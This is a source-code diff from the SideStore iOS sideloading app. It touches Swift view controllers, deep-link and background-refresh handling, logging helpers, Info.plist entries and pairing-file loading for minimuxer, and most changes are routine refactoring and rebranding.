switch url.path.lowercased()
{
case "/success": result = .success(())
@@ -188,37 +200,37 @@ private extension AppDelegate
let errorCodeString = queryItems["errorCode"], let errorCode = Int(errorCodeString),
let errorDescription = queryItems["errorDescription"]
else { return false }
let error = NSError(domain: errorDomain, code: errorCode, userInfo: [NSLocalizedDescriptionKey: errorDescription])
result = .failure(error)
default: return false
}
NotificationCenter.default.post(name: AppDelegate.appBackupDidFinish, object: nil, userInfo: [AppDelegate.appBackupResultKey: result])
return true
case "install":
let queryItems = components.queryItems?.reduce(into: [String: String]()) { $0[$1.name.lowercased()] = $1.value } ?? [:]
guard let downloadURLString = queryItems["url"], let downloadURL = URL(string: downloadURLString) else { return false }
DispatchQueue.main.async {
NotificationCenter.default.post(name: AppDelegate.importAppDeepLinkNotification, object: nil, userInfo: [AppDelegate.importAppDeepLinkURLKey: downloadURL])
}
return true
case "source":
let queryItems = components.queryItems?.reduce(into: [String: String]()) { $0[$1.name.lowercased()] = $1.value } ?? [:]
guard let sourceURLString = queryItems["url"], let sourceURL = URL(string: sourceURLString) else { return false }
DispatchQueue.main.async {
NotificationCenter.default.post(name: AppDelegate.addSourceDeepLinkNotification, object: nil, userInfo: [AppDelegate.addSourceDeepLinkURLKey: sourceURL])
}
return true
default: return false
}
}
@@ -231,47 +243,47 @@ extension AppDelegate
{
// "Fetch" every hour, but then refresh only those that need to be refreshed (so we don't drain the battery).
UIApplication.shared.setMinimumBackgroundFetchInterval(1 * 60 * 60)
UNUserNotificationCenter.current().requestAuthorization(options: [.alert, .badge, .sound]) { (success, error) in
}
#if DEBUG
UIApplication.shared.registerForRemoteNotifications()
#endif
}
func application(_ application: UIApplication, didRegisterForRemoteNotificationsWithDeviceToken deviceToken: Data)
{
let tokenParts = deviceToken.map { data -> String in
return String(format: "%02.2hhx", data)
}
let token = tokenParts.joined()
print("Push Token:", token)
}
func application(_ application: UIApplication, didReceiveRemoteNotification userInfo: [AnyHashable : Any], fetchCompletionHandler completionHandler: @escaping (UIBackgroundFetchResult) -> Void)
{
self.application(application, performFetchWithCompletionHandler: completionHandler)
}
func application(_ application: UIApplication, performFetchWithCompletionHandler backgroundFetchCompletionHandler: @escaping (UIBackgroundFetchResult) -> Void)
{
if UserDefaults.standard.isBackgroundRefreshEnabled && !UserDefaults.standard.presentedLaunchReminderNotification
{
let threeHours: TimeInterval = 3 * 60 * 60
let trigger = UNTimeIntervalNotificationTrigger(timeInterval: threeHours, repeats: false)
let content = UNMutableNotificationContent()
content.title = NSLocalizedString("App Refresh Tip", comment: "")
content.body = NSLocalizedString("The more you open SideStore, the more chances it's given to refresh apps in the background.", comment: "")
let request = UNNotificationRequest(identifier: "background-refresh-reminder5", content: content, trigger: trigger)
UNUserNotificationCenter.current().add(request)
UserDefaults.standard.presentedLaunchReminderNotification = true
}
BackgroundTaskManager.shared.performExtendedBackgroundTask { (taskResult, taskCompletionHandler) in
if let error = taskResult.error
{
@@ -280,7 +292,7 @@ extension AppDelegate
taskCompletionHandler()
return
}
if !DatabaseManager.shared.isStarted
{
DatabaseManager.shared.start() { (error) in
@@ -309,7 +321,7 @@ extension AppDelegate
}
}
}
func performBackgroundFetch(backgroundFetchCompletionHandler: @escaping (UIBackgroundFetchResult) -> Void,
refreshAppsCompletionHandler: @escaping (Result<[String: Result<InstalledApp, Error>], Error>) -> Void)
{
@@ -319,15 +331,15 @@ extension AppDelegate
case .failure: backgroundFetchCompletionHandler(.failed)
case .success: backgroundFetchCompletionHandler(.newData)
}
if !UserDefaults.standard.isBackgroundRefreshEnabled
{
refreshAppsCompletionHandler(.success([:]))
}
}
guard UserDefaults.standard.isBackgroundRefreshEnabled else { return }
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
let installedApps = InstalledApp.fetchAppsForBackgroundRefresh(in: context)
AppManager.shared.backgroundRefresh(installedApps, completionHandler: refreshAppsCompletionHandler)
@@ -343,49 +355,49 @@ private extension AppDelegate
do
{
let (sources, context) = try result.get()
let previousUpdatesFetchRequest = InstalledApp.updatesFetchRequest() as! NSFetchRequest<NSFetchRequestResult>
previousUpdatesFetchRequest.includesPendingChanges = false
previousUpdatesFetchRequest.resultType = .dictionaryResultType
previousUpdatesFetchRequest.propertiesToFetch = [#keyPath(InstalledApp.bundleIdentifier)]
let previousNewsItemsFetchRequest = NewsItem.fetchRequest() as NSFetchRequest<NSFetchRequestResult>
previousNewsItemsFetchRequest.includesPendingChanges = false
previousNewsItemsFetchRequest.resultType = .dictionaryResultType
previousNewsItemsFetchRequest.propertiesToFetch = [#keyPath(NewsItem.identifier)]
let previousUpdates = try context.fetch(previousUpdatesFetchRequest) as! [[String: String]]
let previousNewsItems = try context.fetch(previousNewsItemsFetchRequest) as! [[String: String]]
try context.save()
let updatesFetchRequest = InstalledApp.updatesFetchRequest()
let newsItemsFetchRequest = NewsItem.fetchRequest() as NSFetchRequest<NewsItem>
let updates = try context.fetch(updatesFetchRequest)
let newsItems = try context.fetch(newsItemsFetchRequest)
for update in updates
{
guard !previousUpdates.contains(where: { $0[#keyPath(InstalledApp.bundleIdentifier)] == update.bundleIdentifier }) else { continue }
guard let storeApp = update.storeApp else { continue }
guard let storeApp = update.storeApp, let version = storeApp.version else { continue }
let content = UNMutableNotificationContent()
content.title = NSLocalizedString("New Update Available", comment: "")
content.body = String(format: NSLocalizedString("%@ %@ is now available for download.", comment: ""), update.name, storeApp.version)
content.body = String(format: NSLocalizedString("%@ %@ is now available for download.", comment: ""), update.name, version)
content.sound = .default
let request = UNNotificationRequest(identifier: UUID().uuidString, content: content, trigger: nil)
UNUserNotificationCenter.current().add(request)
}
for newsItem in newsItems
{
guard !previousNewsItems.contains(where: { $0[#keyPath(NewsItem.identifier)] == newsItem.identifier }) else { continue }
guard !newsItem.isSilent else { continue }
let content = UNMutableNotificationContent()
if let app = newsItem.storeApp
{
content.title = String(format: NSLocalizedString("%@ News", comment: ""), app.name)
@@ -394,10 +406,10 @@ private extension AppDelegate
{
content.title = NSLocalizedString("SideStore News", comment: "")
}
content.body = newsItem.title
content.sound = .default
let request = UNNotificationRequest(identifier: UUID().uuidString, content: content, trigger: nil)
UNUserNotificationCenter.current().add(request)
}
@@ -405,7 +417,7 @@ private extension AppDelegate
DispatchQueue.main.async {
UIApplication.shared.applicationIconBadgeNumber = updates.count
}
completionHandler(.success(sources))
}
catch

View File

@@ -10,7 +10,7 @@ import UIKit
import AltSign
class AuthenticationViewController: UIViewController
final class AuthenticationViewController: UIViewController
{
var authenticationHandler: ((String, String, @escaping (Result<(ALTAccount, ALTAppleAPISession), Error>) -> Void) -> Void)?
var completionHandler: (((ALTAccount, ALTAppleAPISession, String)?) -> Void)?
@@ -31,7 +31,7 @@ class AuthenticationViewController: UIViewController
{
super.viewDidLoad()
self.signInButton.activityIndicatorView.style = .white
self.signInButton.activityIndicatorView.style = .medium
for view in [self.appleIDBackgroundView!, self.passwordBackgroundView!, self.signInButton!]
{

View File

@@ -8,7 +8,7 @@
import UIKit
class InstructionsViewController: UIViewController
final class InstructionsViewController: UIViewController
{
var completionHandler: (() -> Void)?

View File

@@ -12,7 +12,7 @@ import AltStoreCore
import AltSign
import Roxas
class RefreshAltStoreViewController: UIViewController
final class RefreshAltStoreViewController: UIViewController
{
var context: AuthenticatedOperationContext!

View File

@@ -14,7 +14,7 @@ import IntentsUI
import AltSign
class SelectTeamViewController: UITableViewController
final class SelectTeamViewController: UITableViewController
{
public var teams: [ALTTeam]?
public var completionHandler: ((Result<ALTTeam, Swift.Error>) -> Void)?

View File

@@ -1095,13 +1095,13 @@ World</string>
<image name="News" width="19" height="20"/>
<image name="Settings" width="20" height="20"/>
<namedColor name="Background">
<color red="1" green="1" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
<color red="0.6431" green="0.0196" blue="0.9804" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
</namedColor>
<namedColor name="BlurTint">
<color red="1" green="1" blue="1" alpha="0.30000001192092896" colorSpace="custom" customColorSpace="sRGB"/>
<color red="1" green="1" blue="1" alpha="0.3" colorSpace="custom" customColorSpace="sRGB"/>
</namedColor>
<namedColor name="Primary">
<color red="0.50196078431372548" green="0.2627450980392157" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
<color red="0.6431" green="0.0196" blue="0.9804" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
</namedColor>
<systemColor name="systemBackgroundColor">
<color white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>

View File

@@ -12,7 +12,7 @@ import Roxas
import Nuke
@objc class BrowseCollectionViewCell: UICollectionViewCell
@objc final class BrowseCollectionViewCell: UICollectionViewCell
{
var imageURLs: [URL] = [] {
didSet {

View File

@@ -94,7 +94,7 @@ private extension BrowseViewController
cell.bannerView.iconImageView.isIndicatingActivity = true
cell.bannerView.button.addTarget(self, action: #selector(BrowseViewController.performAppAction(_:)), for: .primaryActionTriggered)
cell.bannerView.button.activityIndicatorView.style = .white
cell.bannerView.button.activityIndicatorView.style = .medium
// Explicitly set to false to ensure we're starting from a non-activity indicating state.
// Otherwise, cell reuse can mess up some cached values.
@@ -113,7 +113,7 @@ private extension BrowseViewController
let progress = AppManager.shared.installationProgress(for: app)
cell.bannerView.button.progress = progress
if Date() < app.versionDate
if let versionDate = app.latestVersion?.date, versionDate > Date()
{
cell.bannerView.button.countdownDate = app.versionDate
}
@@ -167,14 +167,7 @@ private extension BrowseViewController
func updateDataSource()
{
if let patreonAccount = DatabaseManager.shared.patreonAccount(), patreonAccount.isPatron, PatreonAPI.shared.isAuthenticated
{
self.dataSource.predicate = nil
}
else
{
self.dataSource.predicate = NSPredicate(format: "%K == NO", #keyPath(StoreApp.isBeta))
}
}
func fetchSource()

View File

@@ -8,7 +8,7 @@
import UIKit
class AppIconImageView: UIImageView
final class AppIconImageView: UIImageView
{
override func awakeFromNib()
{

View File

@@ -8,7 +8,7 @@
import AVFoundation
class BackgroundTaskManager
final class BackgroundTaskManager
{
static let shared = BackgroundTaskManager()

View File

@@ -8,7 +8,7 @@
import UIKit
class BannerCollectionViewCell: UICollectionViewCell
final class BannerCollectionViewCell: UICollectionViewCell
{
private(set) var errorBadge: UIView?
@IBOutlet private(set) var bannerView: AppBannerView!

View File

@@ -8,7 +8,7 @@
import UIKit
class Button: UIButton
final class Button: UIButton
{
override var intrinsicContentSize: CGSize {
var size = super.intrinsicContentSize

View File

@@ -8,7 +8,7 @@
import UIKit
class CollapsingTextView: UITextView
final class CollapsingTextView: UITextView
{
var isCollapsed = true {
didSet {
@@ -71,8 +71,10 @@ class CollapsingTextView: UITextView
{
self.textContainer.maximumNumberOfLines = self.maximumNumberOfLines
let maximumCollapsedHeight = font.lineHeight * CGFloat(self.maximumNumberOfLines)
if self.intrinsicContentSize.height > maximumCollapsedHeight
let boundingSize = self.attributedText.boundingRect(with: CGSize(width: self.textContainer.size.width, height: .infinity), options: [.usesLineFragmentOrigin, .usesFontLeading], context: nil)
let maximumCollapsedHeight = font.lineHeight * Double(self.maximumNumberOfLines)
if boundingSize.height.rounded() > maximumCollapsedHeight.rounded()
{
var exclusionFrame = moreButtonFrame
exclusionFrame.origin.y += self.moreButton.bounds.midY

View File

@@ -8,7 +8,7 @@
import UIKit
class ForwardingNavigationController: UINavigationController
final class ForwardingNavigationController: UINavigationController
{
override var childForStatusBarStyle: UIViewController? {
return self.topViewController

View File

@@ -10,7 +10,7 @@ import UIKit
import Roxas
class NavigationBar: UINavigationBar
final class NavigationBar: UINavigationBar
{
@IBInspectable var automaticallyAdjustsItemPositions: Bool = true

View File

@@ -8,7 +8,7 @@
import UIKit
class PillButton: UIButton
final class PillButton: UIButton
{
override var accessibilityValue: String? {
get {
@@ -88,7 +88,7 @@ class PillButton: UIButton
self.layer.masksToBounds = true
self.accessibilityTraits.formUnion([.updatesFrequently, .button])
self.activityIndicatorView.style = .white
self.activityIndicatorView.style = .medium
self.activityIndicatorView.isUserInteractionEnabled = false
self.progressView.progress = 0

View File

@@ -16,7 +16,7 @@ extension TimeInterval
static let longToastViewDuration = 8.0
}
class ToastView: RSTToastView
final class ToastView: RSTToastView
{
var preferredDuration: TimeInterval

View File

@@ -9,7 +9,7 @@
import Foundation
import OSLog
let customLog = OSLog(subsystem: "org.sidestore.sidestore",
public let customLog = OSLog(subsystem: "org.sidestore.sidestore",
category: "ios")
@@ -18,6 +18,7 @@ public extension OSLog {
/// - Parameters:
/// - message: String or format string
/// - args: optional args for format string
@inlinable
static func error(_ message: StaticString, _ args: CVarArg...) {
os_log(message, log: customLog, type: .error, args)
}
@@ -26,6 +27,7 @@ public extension OSLog {
/// - Parameters:
/// - message: String or format string
/// - args: optional args for format string
@inlinable
static func info(_ message: StaticString, _ args: CVarArg...) {
os_log(message, log: customLog, type: .info, args)
}
@@ -34,6 +36,7 @@ public extension OSLog {
/// - Parameters:
/// - message: String or format string
/// - args: optional args for format string
@inlinable
static func debug(_ message: StaticString, _ args: CVarArg...) {
os_log(message, log: customLog, type: .debug, args)
}
@@ -45,6 +48,7 @@ public extension OSLog {
/// - Parameters:
/// - message: String or format string
/// - args: optional args for format string
@inlinable
public func ELOG(_ message: StaticString, file: StaticString = #file, function: StaticString = #function, line: UInt = #line, _ args: CVarArg...) {
OSLog.error(message, args)
}
@@ -53,6 +57,7 @@ public func ELOG(_ message: StaticString, file: StaticString = #file, function:
/// - Parameters:
/// - message: String or format string
/// - args: optional args for format string
@inlinable
public func ILOG(_ message: StaticString, file: StaticString = #file, function: StaticString = #function, line: UInt = #line, _ args: CVarArg...) {
OSLog.info(message, args)
}

View File

@@ -1,204 +1,212 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>ALTAppGroups</key>
<array>
<string>group.$(APP_GROUP_IDENTIFIER)</string>
<string>group.com.rileytestut.AltStore</string>
</array>
<key>ALTDeviceID</key>
<string>00008101-000129D63698001E</string>
<key>ALTServerID</key>
<string>1F7D5B55-79CE-4546-A029-D4DDC4AF3B6D</string>
<key>ALTPairingFile</key>
<string>&lt;insert pairing file here&gt;</string>
<key>ALTAnisetteURL</key>
<string>https://sideloadly.io/anisette/irGb3Quww8zrhgqnzmrx</string>
<key>CFBundleDevelopmentRegion</key>
<string>$(DEVELOPMENT_LANGUAGE)</string>
<key>CFBundleDocumentTypes</key>
<array>
<dict>
<key>CFBundleTypeIconFiles</key>
<array/>
<key>CFBundleTypeName</key>
<string>iOS App</string>
<key>CFBundleTypeRole</key>
<string>Viewer</string>
<key>LSHandlerRank</key>
<string>Alternate</string>
<key>LSItemContentTypes</key>
<array>
<string>com.apple.itunes.ipa</string>
</array>
</dict>
</array>
<key>CFBundleExecutable</key>
<string>$(EXECUTABLE_NAME)</string>
<key>CFBundleIdentifier</key>
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>$(PRODUCT_NAME)</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleShortVersionString</key>
<string>$(MARKETING_VERSION)</string>
<key>CFBundleURLTypes</key>
<array>
<dict>
<key>CFBundleTypeRole</key>
<string>Editor</string>
<key>CFBundleURLName</key>
<string>AltStore General</string>
<key>CFBundleURLSchemes</key>
<array>
<string>altstore</string>
</array>
</dict>
<dict>
<key>CFBundleTypeRole</key>
<string>Editor</string>
<key>CFBundleURLName</key>
<string>AltStore Backup</string>
<key>CFBundleURLSchemes</key>
<array>
<string>altstore-com.rileytestut.AltStore</string>
</array>
</dict>
</array>
<key>CFBundleVersion</key>
<string>1</string>
<key>INIntentsSupported</key>
<array>
<string>RefreshAllIntent</string>
<string>ViewAppIntent</string>
</array>
<key>LSApplicationQueriesSchemes</key>
<array>
<string>altstore-com.rileytestut.AltStore</string>
<string>altstore-com.rileytestut.AltStore.Beta</string>
<string>altstore-com.rileytestut.Delta</string>
<string>altstore-com.rileytestut.Delta.Beta</string>
<string>altstore-com.rileytestut.Delta.Lite</string>
<string>altstore-com.rileytestut.Delta.Lite.Beta</string>
<string>altstore-com.rileytestut.Clip</string>
<string>altstore-com.rileytestut.Clip.Beta</string>
</array>
<key>LSRequiresIPhoneOS</key>
<true/>
<key>NSBonjourServices</key>
<array>
<string>_altserver._tcp</string>
</array>
<key>NSLocalNetworkUsageDescription</key>
<string>SideStore uses the local network to find and communicate with your device.</string>
<key>NSUserActivityTypes</key>
<array>
<string>RefreshAllIntent</string>
<string>ViewAppIntent</string>
</array>
<key>UIApplicationSceneManifest</key>
<dict>
<key>UIApplicationSupportsMultipleScenes</key>
<true/>
<key>UISceneConfigurations</key>
<dict>
<key>UIWindowSceneSessionRoleApplication</key>
<array>
<dict>
<key>UILaunchStoryboardName</key>
<string>LaunchScreen</string>
<key>UISceneConfigurationName</key>
<string>Default Configuration</string>
<key>UISceneDelegateClassName</key>
<string>$(PRODUCT_MODULE_NAME).SceneDelegate</string>
<key>UISceneStoryboardFile</key>
<string>Main</string>
</dict>
</array>
</dict>
</dict>
<key>UIBackgroundModes</key>
<array>
<string>audio</string>
<string>fetch</string>
<string>remote-notification</string>
</array>
<key>UILaunchStoryboardName</key>
<string>LaunchScreen</string>
<key>NSAppTransportSecurity</key>
<dict>
<key>NSAllowsArbitraryLoads</key>
<true/>
</dict>
<key>UIMainStoryboardFile</key>
<string>Main</string>
<key>UIRequiredDeviceCapabilities</key>
<array>
<string>armv7</string>
</array>
<key>UIStatusBarTintParameters</key>
<dict>
<key>UINavigationBar</key>
<dict>
<key>Style</key>
<string>UIBarStyleDefault</string>
<key>Translucent</key>
<false/>
</dict>
</dict>
<key>UISupportedInterfaceOrientations</key>
<array>
<string>UIInterfaceOrientationPortrait</string>
</array>
<key>UISupportedInterfaceOrientations~ipad</key>
<array>
<string>UIInterfaceOrientationPortrait</string>
<string>UIInterfaceOrientationPortraitUpsideDown</string>
<string>UIInterfaceOrientationLandscapeLeft</string>
<string>UIInterfaceOrientationLandscapeRight</string>
</array>
<key>UTImportedTypeDeclarations</key>
<array>
<dict>
<key>UTTypeConformsTo</key>
<array>
<string>public.data</string>
</array>
<key>UTTypeDescription</key>
<string>iOS App</string>
<key>UTTypeIconFiles</key>
<array/>
<key>UTTypeIdentifier</key>
<string>com.apple.itunes.ipa</string>
<key>UTTypeTagSpecification</key>
<key>ALTAppGroups</key>
<array>
<string>group.$(APP_GROUP_IDENTIFIER)</string>
<string>group.com.SideStore.SideStore</string>
</array>
<key>ALTDeviceID</key>
<string>00008101-000129D63698001E</string>
<key>ALTPairingFile</key>
<string>&lt;insert pairing file here&gt;</string>
<key>ALTServerID</key>
<string>1F7D5B55-79CE-4546-A029-D4DDC4AF3B6D</string>
<key>ALTAnisetteURL</key>
<string>https://ani.sidestore.io</string>
<key>CFBundleDevelopmentRegion</key>
<string>$(DEVELOPMENT_LANGUAGE)</string>
<key>CFBundleDocumentTypes</key>
<array>
<dict>
<key>public.filename-extension</key>
<string>ipa</string>
</dict>
</dict>
<dict>
<key>UTTypeConformsTo</key>
<array>
<string>com.apple.plist</string>
</array>
<key>UTTypeDescription</key>
<string>Mobile Device Pairing</string>
<key>UTTypeIconFiles</key>
<array/>
<key>UTTypeIdentifier</key>
<string>org.sidestore.mobiledevicepairing</string>
<key>UTTypeTagSpecification</key>
<dict>
<key>public.filename-extension</key>
<key>CFBundleTypeIconFiles</key>
<array />
<key>CFBundleTypeName</key>
<string>iOS App</string>
<key>CFBundleTypeRole</key>
<string>Viewer</string>
<key>LSHandlerRank</key>
<string>Alternate</string>
<key>LSItemContentTypes</key>
<array>
<string>mobiledevicepairing</string>
<string>com.apple.itunes.ipa</string>
</array>
</dict>
</array>
<key>CFBundleExecutable</key>
<string>$(EXECUTABLE_NAME)</string>
<key>CFBundleIdentifier</key>
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>$(PRODUCT_NAME)</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleShortVersionString</key>
<string>$(MARKETING_VERSION)</string>
<key>CFBundleURLTypes</key>
<array>
<dict>
<key>CFBundleTypeRole</key>
<string>Editor</string>
<key>CFBundleURLName</key>
<string>AltStore General</string>
<key>CFBundleURLSchemes</key>
<array>
<string>altstore</string>
<string>sidestore</string>
</array>
</dict>
<dict>
<key>CFBundleTypeRole</key>
<string>Editor</string>
<key>CFBundleURLName</key>
<string>AltStore Backup</string>
<key>CFBundleURLSchemes</key>
<array>
<string>altstore-com.rileytestut.AltStore</string>
<string>sidestore-com.SideStore.SideStore</string>
</array>
</dict>
</array>
<key>CFBundleVersion</key>
<string>1</string>
<key>INIntentsSupported</key>
<array>
<string>RefreshAllIntent</string>
<string>ViewAppIntent</string>
</array>
<key>LSApplicationQueriesSchemes</key>
<array>
<string>altstore-com.rileytestut.AltStore</string>
<string>altstore-com.rileytestut.AltStore.Beta</string>
<string>altstore-com.rileytestut.Delta</string>
<string>altstore-com.rileytestut.Delta.Beta</string>
<string>altstore-com.rileytestut.Delta.Lite</string>
<string>altstore-com.rileytestut.Delta.Lite.Beta</string>
<string>altstore-com.rileytestut.Clip</string>
<string>altstore-com.rileytestut.Clip.Beta</string>
</array>
<key>LSRequiresIPhoneOS</key>
<true />
<key>LSSupportsOpeningDocumentsInPlace</key>
<true />
<key>NSAppTransportSecurity</key>
<dict>
<key>NSAllowsArbitraryLoads</key>
<true />
</dict>
<key>NSAppleMusicUsageDescription</key>
<string>So that we can bypass the 3 app limit and disable revokes.</string>
<key>NSBonjourServices</key>
<array>
<string>_altserver._tcp</string>
</array>
<key>NSLocalNetworkUsageDescription</key>
<string>SideStore uses the local network to find and communicate with your device.</string>
<key>NSUserActivityTypes</key>
<array>
<string>RefreshAllIntent</string>
<string>ViewAppIntent</string>
</array>
<key>UIApplicationSceneManifest</key>
<dict>
<key>UIApplicationSupportsMultipleScenes</key>
<true />
<key>UISceneConfigurations</key>
<dict>
<key>UIWindowSceneSessionRoleApplication</key>
<array>
<dict>
<key>UILaunchStoryboardName</key>
<string>LaunchScreen</string>
<key>UISceneConfigurationName</key>
<string>Default Configuration</string>
<key>UISceneDelegateClassName</key>
<string>$(PRODUCT_MODULE_NAME).SceneDelegate</string>
<key>UISceneStoryboardFile</key>
<string>Main</string>
</dict>
</array>
</dict>
</dict>
</array>
</dict>
</plist>
<key>UIBackgroundModes</key>
<array>
<string>audio</string>
<string>fetch</string>
<string>remote-notification</string>
</array>
<key>UIFileSharingEnabled</key>
<true />
<key>UILaunchStoryboardName</key>
<string>LaunchScreen</string>
<key>UIMainStoryboardFile</key>
<string>Main</string>
<key>UIRequiredDeviceCapabilities</key>
<array>
<string>armv7</string>
</array>
<key>UIStatusBarTintParameters</key>
<dict>
<key>UINavigationBar</key>
<dict>
<key>Style</key>
<string>UIBarStyleDefault</string>
<key>Translucent</key>
<false />
</dict>
</dict>
<key>UISupportedInterfaceOrientations</key>
<array>
<string>UIInterfaceOrientationPortrait</string>
</array>
<key>UISupportedInterfaceOrientations~ipad</key>
<array>
<string>UIInterfaceOrientationPortrait</string>
<string>UIInterfaceOrientationPortraitUpsideDown</string>
<string>UIInterfaceOrientationLandscapeLeft</string>
<string>UIInterfaceOrientationLandscapeRight</string>
</array>
<key>UTImportedTypeDeclarations</key>
<array>
<dict>
<key>UTTypeConformsTo</key>
<array>
<string>public.data</string>
</array>
<key>UTTypeDescription</key>
<string>iOS App</string>
<key>UTTypeIconFiles</key>
<array />
<key>UTTypeIdentifier</key>
<string>com.apple.itunes.ipa</string>
<key>UTTypeTagSpecification</key>
<dict>
<key>public.filename-extension</key>
<string>ipa</string>
</dict>
</dict>
<dict>
<key>UTTypeConformsTo</key>
<array>
<string>com.apple.plist</string>
</array>
<key>UTTypeDescription</key>
<string>Mobile Device Pairing</string>
<key>UTTypeIconFiles</key>
<array />
<key>UTTypeIdentifier</key>
<string>org.sidestore.mobiledevicepairing</string>
<key>UTTypeTagSpecification</key>
<dict>
<key>public.filename-extension</key>
<array>
<string>mobiledevicepairing</string>
</array>
</dict>
</dict>
</array>
</dict>
</plist>

View File

@@ -11,7 +11,7 @@ import Foundation
import AltStoreCore
@available(iOS 14, *)
class IntentHandler: NSObject, RefreshAllIntentHandling
final class IntentHandler: NSObject, RefreshAllIntentHandling
{
private let queue = DispatchQueue(label: "io.altstore.IntentHandler")

View File

@@ -6,22 +6,21 @@
// Copyright © 2019 Riley Testut. All rights reserved.
//
import UIKit
import Roxas
import EmotionalDamage
import minimuxer
import Roxas
import UIKit
import AltStoreCore
import UniformTypeIdentifiers
class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate
{
final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate {
private var didFinishLaunching = false
private var destinationViewController: UIViewController!
override var launchConditions: [RSTLaunchCondition] {
let isDatabaseStarted = RSTLaunchCondition(condition: { DatabaseManager.shared.isStarted }) { (completionHandler) in
let isDatabaseStarted = RSTLaunchCondition(condition: { DatabaseManager.shared.isStarted }) { completionHandler in
DatabaseManager.shared.start(completionHandler: completionHandler)
}
@@ -36,8 +35,7 @@ class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate
return self.children.first
}
override func viewDidLoad()
{
override func viewDidLoad() {
defer {
// Create destinationViewController now so view controllers can register for receiving Notifications.
self.destinationViewController = self.storyboard!.instantiateViewController(withIdentifier: "tabBarController") as! TabBarController
@@ -47,13 +45,16 @@ class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate
override func viewDidAppear(_ animated: Bool) {
super.viewDidAppear(true)
#if !targetEnvironment(simulator)
start_em_proxy(bind_addr: Consts.Proxy.serverURL)
guard let pf = fetchPairingFile() else {
displayError("Device pairing file not found.")
self.displayError("Device pairing file not found.")
return
}
start_minimuxer_threads(pf)
self.start_minimuxer_threads(pf)
#endif
}
func fetchPairingFile() -> String? {
@@ -68,28 +69,31 @@ class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate
fm.fileExists(atPath: appResourcePath.path),
let data = fm.contents(atPath: appResourcePath.path),
let contents = String(data: data, encoding: .utf8),
!contents.isEmpty {
!contents.isEmpty
{
print("Loaded ALTPairingFile from \(appResourcePath.path)")
return contents
} else if let plistString = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String, !plistString.isEmpty, !plistString.contains("insert pairing file here"){
} else if let plistString = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String, !plistString.isEmpty, !plistString.contains("insert pairing file here") {
print("Loaded ALTPairingFile from Info.plist")
return plistString
} else {
// Show an alert explaining the pairing file
// Create new Alert
let dialogMessage = UIAlertController(title: "Pairing File", message: "Select the pairing file for your device. For more information, go to https://youtu.be/dQw4w9WgXcQ", preferredStyle: .alert)
let dialogMessage = UIAlertController(title: "Pairing File", message: "Select the pairing file for your device. For more information, go to https://wiki.sidestore.io/guides/install#pairing-process", preferredStyle: .alert)
// Create OK button with action handler
let ok = UIAlertAction(title: "OK", style: .default, handler: { (action) -> Void in
let ok = UIAlertAction(title: "OK", style: .default, handler: { _ in
// Try to load it from a file picker
var types = UTType.types(tag: "plist", tagClass: UTTagClass.filenameExtension, conformingTo: nil)
types.append(contentsOf: UTType.types(tag: "mobiledevicepairing", tagClass: UTTagClass.filenameExtension, conformingTo: nil))
types.append(contentsOf: UTType.types(tag: "mobiledevicepairing", tagClass: UTTagClass.filenameExtension, conformingTo: UTType.data))
types.append(.xml)
let documentPickerController = UIDocumentPickerViewController(forOpeningContentTypes: types)
// documentPickerController.shouldShowFileExtensions = true
documentPickerController.delegate = self
self.present(documentPickerController, animated: true, completion: nil)
})
})
//Add OK button to a dialog message
// Add OK button to a dialog message
dialogMessage.addAction(ok)
// Present Alert to
@@ -117,7 +121,7 @@ class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate
let data1 = try Data(contentsOf: urls[0])
let pairing_string = String(bytes: data1, encoding: .utf8)
if pairing_string == nil {
displayError("Unable to read pairing file")
self.displayError("Unable to read pairing file")
}
// Save to a file for next launch
@@ -127,60 +131,73 @@ class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate
try pairing_string?.write(to: documentsPath, atomically: true, encoding: String.Encoding.utf8)
// Start minimuxer now that we have a file
start_minimuxer_threads(pairing_string!)
self.start_minimuxer_threads(pairing_string!)
} catch {
displayError("Unable to read pairing file")
self.displayError("Unable to read pairing file")
}
if (isSecuredURL) {
if isSecuredURL {
url.stopAccessingSecurityScopedResource()
}
controller.dismiss(animated: true, completion: nil)
}
func documentPickerWasCancelled(_ controller: UIDocumentPickerViewController) {
displayError("Choosing a pairing file was cancelled")
self.displayError("Choosing a pairing file was cancelled. Please re-open the app and try again.")
}
func start_minimuxer_threads(_ pairing_file: String) {
set_usbmuxd_socket()
#if false // Retries
var res = start_minimuxer(pairing_file: pairing_file)
var attempts = 10
while attempts != 0, res != 0 {
print("start_minimuxer `res` != 0, retry #\(attempts)")
res = start_minimuxer(pairing_file: pairing_file)
attempts -= 1
}
#else
let res = start_minimuxer(pairing_file: pairing_file)
#endif
if res != 0 {
displayError("minimuxer failed to start. Incorrect arguments were passed.")
self.displayError("minimuxer failed to start. Incorrect arguments were passed.")
}
auto_mount_dev_image()
}
}
extension LaunchViewController
{
override func handleLaunchError(_ error: Error)
{
do
{
extension LaunchViewController {
override func handleLaunchError(_ error: Error) {
do {
throw error
}
catch let error as NSError
{
} catch let error as NSError {
